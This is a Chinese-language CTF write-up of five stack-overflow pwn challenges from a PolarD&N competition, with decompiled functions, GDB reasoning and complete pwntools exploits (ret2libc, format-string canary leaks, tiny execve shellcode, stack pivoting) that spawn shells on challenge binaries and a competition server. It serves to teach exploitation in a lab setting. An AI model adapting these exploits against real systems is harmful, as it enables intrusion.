前言
这次polarD&N上pwn方向上的题都挺好的,进一步学习了canary绕过也发现了自己的很多问题(看得懂知识的不知道怎么实际来打等)
libc
一题简单的ret2libc,也是当天唯一出的一题
1 2 3 4 5 6 7 8
| int jiu() { char buf[58];
puts("like"); read(0, buf, 0x50u); return 0; }
|
程序动态链接,开了nx没开canary有puts函数直接puts泄露libc即可
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from pwn import* from LibcSearcher import*
io=remote('1.95.36.136',2148)
elf=ELF('./pwn1') main=elf.sym['main'] puts_got=elf.got['puts'] puts_plt=elf.plt['puts']
payload=b'a'*(0x3A+4)+p32(puts_plt)+p32(main)+p32(puts_got)
io.recvline('like') io.sendline(payload) puts=u32(io.recvuntil('\xf7')[-4:]) print(hex(puts)) libc=LibcSearcher('puts',puts)
libc_base=puts-libc.dump('puts') system=libc_base+libc.dump('system') bin_sh=libc_base+libc.dump('str_bin_sh')
payload1=b'a'*(0x3A+4)+p32(system)+p32(0)+p32(bin_sh) io.sendline(payload1)
io.interactive()
|
选出来的libc为1 - libc6-i386_2.23-0ubuntu11.3_amd64
fmt_text
简单的格式化字符串漏洞泄露canary
32位程序,开启了nx和canary
漏洞函数:
1 2 3 4 5 6 7 8 9 10 11 12
| unsigned int yichu() { char s[100]; unsigned int v2;
v2 = __readgsdword(0x14u); gets(s); printf(s); gets(s); printf(s); return __readgsdword(0x14u) ^ v2; }
|
发现printf出存在格式化字符串漏洞,可以用该处泄露canary
先测试格式化字符的偏移
第一次输入aaaa%x-%x-%x-%x-%x-%x-%x(其中%x用于以16进制形式输出整数值)
其中a的16进制表示为61故由下图可知格式化字符的偏移为6。

canary的位置距离栈顶的位置是0x70-0xC=0x64,32位程序则为0x64/4=25,故想要输出canary需要25+6个%x,该题提供了system函数但是没有/bin/sh需要我们构造rop链输入进去,有了canary就可以开始利用第二个gets构造rop链了
gdb中用vmmap找到了一段可读写的区域用于存放/bin/sh

但是直接放置在0x804a000会发现打不通,打开ida看才发现如果放在0x804a000的话就会覆盖掉部分got.plt表导致最后shell无法执行,所以只能放置bss段即0804A080(还是位于可读写的段上的)
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import*
conn = process('./pwn') elf = ELF('./pwn') bss=0x804a080 ret=0x080486eb system=elf.sym['system'] get_plt=elf.plt['gets'] payload_1 = b'%31$x'
conn.sendline(payload_1)
recvbytes = conn.recv()
canary = int(recvbytes, 16) print(f'Canary: {hex(canary)}')
payload_2 = b'a' * (0x70 - 0xc) + p32(canary) + b'a' * 0xc + p32(get_plt)+p32(system)+p32(bss)+p32(bss) conn.sendline(payload_2)
conn.send(b"/bin/sh\x00")
conn.interactive()
|
bllbl_shellcode_2
这题保护只开了部分RELRO还有可读写执行的段,结合题目自然想到了shellcode,发现程序有个jmp rsa,但是buf很小只有0x5的大小,可输入字节数也很少能写入shellcode的大小只有13(5+8(ebp))个字节所以联想到了栈迁移,用两次leave ret之类的扩展溢出字节数但是不会实操就卡住了
看了官方讲解后发现需要用这13个字节来达成execve(“/bin/sh\x00”,0,0)的调用
check:
1 2 3 4 5 6 7
| [*] '/home/pwn/桌面/pwn1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
|
发现有RWX的段,保护只开了部分RELRO
IDA打开发现程序很简单,有一个明显溢出点,会输出栈顶地址
1 2 3 4 5 6 7 8
| ssize_t yichu() { char buf[5];
printf("addr1:%p\n", buf); puts(&byte_402060); return read(0, buf, 27uLL); }
|
buf很小,可溢出字节数也很少5,能够构造shellcode的字节就只有
+8也就是buf大小+ebp=13个字节接着将栈顶移到buf[0]上jmp rsp(程序中自带)
使用gdb调试来测试shellcode如何写
先运行该exp开启调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import* context(os = 'linux', arch = 'amd64', log_level = 'debug')
io=process("./pwn1")
elf=ELF("./pwn1")
io.recvuntil("0x") buf_addr=int(io.recv(12),16)
success("buf_addr >>> 0x%x" % buf_addr)
jmp_rsp=0x401380 bin_sh=0x402047
shellcode= b'a'*13 shellcode += p64(jmp_rsp) shellcode += asm("sub rsp, 0x15 ; jmp rsp") gdb.attach(io,"b* 0x0401376") io.sendline(shellcode) pause()
|
当运行到jmp rsp时,RSP指向sub rsp,0x15处
为什么是减去0x15呢?因为此时栈顶指向sub rsp,0x15这条压在栈上的指令,目前我有两种理解方式,第一种是通过调试发现在第一次jmp rsp时rsp指向sub rsp,xxx 这条汇编,该条汇编地址减去buf地址刚好是0x15,第二种理解是0x15=5+8+8=21也就是buf+rbp+返回地址的距离。
故rsp减去0x15后刚好指向buf处继续执行下一个jmp rsp调用shellcode。

想要达成execve(“/bin/sh,0,0”)
1 2 3 4
| 需让rdi指向/bin/sh(题目中已给) rax=0x3b(execve的系统调用号) rsi=0 rdx=0
|
据调试可知目前rdi=0
故可
1 2 3 4 5
| mov al,0x3b;小端序只改变低位寄存器来存储系统调用号 mov esi,edi;将rsi置零为了更节省字符所以只改变低位寄存器 mov edi,0x402047;/bin/sh mov edx,esi;将rdx置零为了更节省字符所以只改变低位寄存器 syscall;系统调用
|
字节数计算:
mov al, 0x3b
- 操作码:
B0
(mov r8, imm8
)
- 立即数:
3B
- 总字节数:2 字节
mov esi, edi
- 操作码:
89
(mov r/m32, r32
)
- ModR/M 字节:
FE
(esi
是目标寄存器,edi
是源寄存器)
- 总字节数:2 字节
mov edi, 0x402047
- 操作码:
BF
(mov r32, imm32
)
- 立即数:
47 20 40 00
(小端存储)
- 总字节数:5 字节
mov edx, esi
- 操作码:
89
(mov r/m32, r32
)
- ModR/M 字节:
F2
(edx
是目标寄存器,esi
是源寄存器)
- 总字节数:2 字节
syscall
- 操作码:
0F 05
(syscall
指令)
- 总字节数:2 字节
总结
每条指令的字节长度如下:
mov al, 0x3b
:2 字节
mov esi, edi
:2 字节
mov edi, 0x402047
:5 字节
mov edx, esi
:2 字节
syscall
:2 字节
总字节数:2 + 2 + 5 + 2 + 2 = 13 字节。刚好够写
故最后完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import* context(os = 'linux', arch = 'amd64', log_level = 'debug')
io=process("./pwn1")
elf=ELF("./pwn1")
io.recvuntil("0x") buf_addr=int(io.recv(12),16)
success("buf_addr >>> 0x%x" % buf_addr)
jmp_rsp=0x401380 bin_sh=0x402047
shellcode=asm(""" mov al,0x3b mov esi,edi mov edi,0x402047 mov edx,esi syscall """) shellcode += p64(jmp_rsp) shellcode += asm("sub rsp, 0x15 ; jmp rsp")
io.sendline(shellcode)
io.interactive()
|
kio
check
1 2 3 4 5 6 7
| 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
|
只要满足v4==520 n=520即可进入xxx函数该处存在一个大的溢出点可以打libc
xxx
1 2 3 4 5 6 7
| ssize_t xxx() { char buf[80];
puts("Welcome to Polar CTF!\n"); return read(0, buf, 0x150uLL); }
|
main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| int __cdecl main(int argc, const char **argv, const char **envp) { int v4;
init(argc, argv, envp); v4 = 0; printf("choose your challenge\n:"); puts("1.write shell"); puts("2.use shell"); puts("3.exif"); __isoc99_scanf("%d", &v4); switch ( v4 ) { case 1: wrshell(); break; case 2: usshell(); break; case 3: exif(); break; } puts("Enter a:"); __isoc99_scanf("%d", &v4); if ( v4 == 520 && n == 520 ) { puts("GOOD"); xxx(); } else { puts("Bless you"); } return 0; }
|
简单的菜单模板
ida中查看发现n位于bss段上
wrshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| int wrshell() { int v1; int v2; char buf[80];
v2 = 0; v1 = 0; puts("Enter number:"); __isoc99_scanf("%d", &v1); printf("size:"); __isoc99_scanf("%d", &v2); puts("Enter sehll:"); read(0, buf, 88uLL); return puts("success"); }
|
分析发现wrshell中有8个字节的溢出刚好可以覆盖rbp
观察main函数中if部分的汇编
1 2 3 4 5 6 7
| .text:0000000000400890 8B 45 FC mov eax, [rbp+var_4] .text:0000000000400893 3D 08 02 00 00 cmp eax, 208h .text:0000000000400898 75 23 jnz short loc_4008BD .text:0000000000400898 .text:000000000040089A 8B 05 EC 07 20 00 mov eax, cs:n .text:00000000004008A0 3D 08 02 00 00 cmp eax, 208h .text:00000000004008A5 75 16 jnz short loc_4008BD
|
故想要能够进入xxx函数需要[rbp+var_4]地址上的数据和n同时为520才不会跳转到loc_4008BD中也就是else的部分,wrshell中的8个字节刚好可以覆盖rbp结合leave ret可以控制到原函数后的rbp的值,故只需将[rbp+var_4]改为n的地址两次cmp的都是n的值,n也作为了scanf的参数,故直接输入520即可进入xxx函数
补充一下leave指令
leave相当于mov rsp,rbp;pop rbp也就是先将此时rbp的值赋给栈顶,再将栈顶的值pop到rbp中
故我们利用wrshell中的read溢出的8个字节将rbp修改为n地址+4(加4是因为var_4是-4故要保证rbp+var_4是n的地址需要加4),之后leave后父函数此时的rbp就变成了n地址加4。

图片展示的是通过覆盖rbp加leave后将rbp的值修改成了12345678
,证明我们成功控制了rbp
接下来换为n的地址+4即可
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| from pwn import* from LibcSearcher import* context(os = 'linux', arch = 'amd64', log_level = 'debug')
io = remote('1.95.36.136',2106) elf = ELF('./pwn') n_addr=0x0060108C io.recv() io.sendline(b'1') io.recv() io.sendline(b'1') io.recv() io.sendline(b'1') io.recv() payload=b'a'*(0x50)+p64(n_addr+4) io.sendline(payload) io.recv() io.sendline(b'520') puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] xxx_addr=elf.symbols['xxx'] pop_rdi_ret=0x400a63
payload=b'a'*(80+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(xxx_addr) io.sendline(payload) puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print(hex(puts_addr)) libc=ELF('./libc.so') libc_base=puts_addr-0x06f6a0 system_addr=libc_base+0x0453a0 bin_sh=libc_base+0x18ce57 payload=b'a'*(80+8)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system_addr) io.sendline(payload) io.interactive()
|
libc database search有了地址的后三位之后可以用该网站来查libc。
bllbl_mom
check
1 2 3 4 5 6 7
| 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
|
漏洞函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| int mom() { char buf[68]; unsigned int v2;
v2 = __readgsdword(0x14u); printf("Write a few words to Mom"); read(0, buf, 5u); printf(buf); read(0, buf, 0x58u); printf("%s", buf); read(0, buf, 0x58u); printf("%s", buf); return 0; }
|
给了system函数但是没有bin_sh,存在格式化字符串漏洞可以利用第一个read输入格式化字符在printf处泄露出canary
第二个或第三个read可溢出的字节数除去ebp和返回地址只剩下了4溢出后还要加上canary的值显然是不太够的,所以我们想到了栈迁移,第一次leave ret将ebp的值修改为我们想要迁移到的位置即输入提权内容的地址,第二次leave ret将esp迁移到新ebp处接着pop ebp ,esp随之下移到system_plt地址,接着ret也就是pop eip将system_plt地址弹到eip中调用system这样就成功绕过了NX保护使栈上的system可执行了
栈迁移的本质就是通过改变ebp的值改变esp的指向进而使用ret控制执行流

故总体思路为,先利用第一个read泄露出canary,第二个read泄露出ebp的值,第三个read写提权内容。
泄露canary:
1 2 3 4
| io.send(b'%23$p') io.recvuntil(b'0x') canary=int(io.recv(8),16) print(b'canary>>>'+hex(canary))
|
因为只有5个字节,不好测格式化字符的偏移,一般为6如果不对的话只有爆破尝试了,通过gdb测量canary与输入位置之间的距离‘

该图是第一个read输入aaaa后的状态
汇编里可以看到canary的地址在ebp-0xc处故通过p/x计算出其地址,发现为0x17处减去输入位置的0x06即为0x11=17,17+6=23
故第一个read输入%23$p输出canary的值
通过观察mom函数汇编:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| .text:0804863A ; __unwind { .text:0804863A 55 push ebp .text:0804863B 89 E5 mov ebp, esp .text:0804863D 83 EC 58 sub esp, 58h .text:08048640 65 A1 14 00 00 00 mov eax, large gs:14h .text:08048646 89 45 F4 mov [ebp+var_C], eax .text:08048649 31 C0 xor eax, eax .text:0804864B 83 EC 0C sub esp, 0Ch .text:0804864E 68 B0 87 04 08 push offset format ; "Write a few words to Mom" .text:08048653 E8 F8 FD FF FF call _printf .text:08048653 .text:08048658 83 C4 10 add esp, 10h .text:0804865B 83 EC 04 sub esp, 4 .text:0804865E 6A 05 push 5 ; nbytes .text:08048660 8D 45 B0 lea eax, [ebp+buf] .text:08048663 50 push eax ; buf .text:08048664 6A 00 push 0 ; fd .text:08048666 E8 D5 FD FF FF call _read .text:08048666 .text:0804866B 83 C4 10 add esp, 10h .text:0804866E 83 EC 0C sub esp, 0Ch .text:08048671 8D 45 B0 lea eax, [ebp+buf] .text:08048674 50 push eax ; format .text:08048675 E8 D6 FD FF FF call _printf .text:08048675 .text:0804867A 83 C4 10 add esp, 10h .text:0804867D 83 EC 04 sub esp, 4 .text:08048680 6A 58 push 58h ; 'X' ; nbytes .text:08048682 8D 45 B0 lea eax, [ebp+buf] .text:08048685 50 push eax ; buf .text:08048686 6A 00 push 0 ; fd .text:08048688 E8 B3 FD FF FF call _read .text:08048688 .text:0804868D 83 C4 10 add esp, 10h .text:08048690 83 EC 08 sub esp, 8 .text:08048693 8D 45 B0 lea eax, [ebp+buf] .text:08048696 50 push eax .text:08048697 68 C9 87 04 08 push offset aS ; "%s" .text:0804869C E8 AF FD FF FF call _printf .text:0804869C .text:080486A1 83 C4 10 add esp, 10h .text:080486A4 83 EC 04 sub esp, 4 .text:080486A7 6A 58 push 58h ; 'X' ; nbytes .text:080486A9 8D 45 B0 lea eax, [ebp+buf] .text:080486AC 50 push eax ; buf .text:080486AD 6A 00 push 0 ; fd .text:080486AF E8 8C FD FF FF call _read .text:080486AF .text:080486B4 83 C4 10 add esp, 10h .text:080486B7 83 EC 08 sub esp, 8 .text:080486BA 8D 45 B0 lea eax, [ebp+buf] .text:080486BD 50 push eax .text:080486BE 68 C9 87 04 08 push offset aS ; "%s" .text:080486C3 E8 88 FD FF FF call _printf .text:080486C3 .text:080486C8 83 C4 10 add esp, 10h .text:080486CB B8 00 00 00 00 mov eax, 0 .text:080486D0 8B 55 F4 mov edx, [ebp+var_C] .text:080486D3 65 33 15 14 00 00 00 xor edx, large gs:14h .text:080486DA 74 05 jz short locret_80486E1 .text:080486DA .text:080486DC E8 8F FD FF FF call ___stack_chk_fail
|
发现只有在最后才异或检测canary的值,所以我们在最后一次read补上canary的值即可
第二次read泄露ebp
1 2 3 4
| payload1=b'a'*(0x50-1)+b'b' io.send(payload1) io.recvuntil(b'b') ebp_addr=u32(io.recvuntil(b'\xff')[-4:])
|
测量ebp距离输入点的偏移

输入了aaa故ebp距离输入点0x98-0x38=0x60注意这里是用ebp的值去减也就是198而不是188因为我们是将ebp的值赋给esp而不是将其地址赋给esp这点要注意
第三次read
1 2 3 4 5
| s_addr=ebp_addr-0x60 sh_addr=s_addr-0x10
payload2=b'aaaa'+p32(system_addr)+p32(0)+p32(sh_addr)+b'/bin/sh\x00' io.send(payload2)
|
s_addr就是我们payload2开始放置的位置,payload2中前4个a是因为栈迁移之后esp指向ebp的值的位置也就是我们的初始输入位置,此时会pop ebp,会将前4个字节的数据弹到ebp里接着esp+4 执行ret也就是pop eip,故前4个字节无效用aaaa填充接着写system的地址
sh_addr要减0x10是因为b’aaaa’+p32(system_addr)+p32(0)+p32(sh_addr)刚好是16个字节也就是0x10之后的地址才是我们的/bin/sh\x00
接着运行一次测试canary要放在哪
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import*
context(os = 'linux', arch = 'i386', log_level = 'debug') io = process('./pwn')
elf = ELF('./pwn') system_addr=0x08048490 leave_ret=0x08048538
io.send(b'%23$p') io.recvuntil(b'0x') canary = int (io.recv(8),16) print('canary>>>'+hex(canary)) payload=b'a'*(0x50-1)+b'b' io.send(payload) io.recvuntil(b'b') ebp_addr=u32(io.recvuntil(b'\xff')[-4:]) s_addr=ebp_addr-0x60 sh_addr=s_addr+0x10
payload2=b'aaaa'+p32(system_addr)+p32(0)+p32(sh_addr)+b'/bin/sh\x00' io.send(payload2) io.interactive()
|

可以看到此时第三个read发送了0x18的数据canary距离输入是有17个32位地址的距离,也就是17*4=68-0x18=44个字节,也可以用0x50-0x0C-0x18=44
接着完善payload
1
| payload2=b'aaaa'+p32(system_addr)+p32(0)+p32(sh_addr)+b'/bin/sh\x00'+b'a'*44+p32(canary)+b'a'*(0x0C-4)+p32(s_addr)+p32(leave_ret)
|
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import*
context(os = 'linux', arch = 'i386', log_level = 'debug')
io = remote('1.95.36.136',2078) elf = ELF('./pwn') system_addr=0x08048490 leave_ret=0x08048538
io.send('%23$p') io.recvuntil(b'0x') canary = int (io.recv(8),16) print('canary>>>'+hex(canary)) payload=b'a'*(0x50-1)+b'b' io.send(payload) io.recvuntil(b'b') ebp_addr=u32(io.recvuntil(b'\xff')[-4:]) s_addr=ebp_addr-0x60 sh_addr=s_addr+0x10
payload2=b'aaaa'+p32(system_addr)+p32(0)+p32(sh_addr)+b'/bin/sh\x00'+b'a'*44+p32(canary)+b'a'*(0x0C-4)+p32(s_addr)+p32(leave_ret) io.send(payload2) io.interactive()
|
到这里就浮现完本次比赛的所有栈题了,堆因为还没学概念就没浮现收获还是很多的~~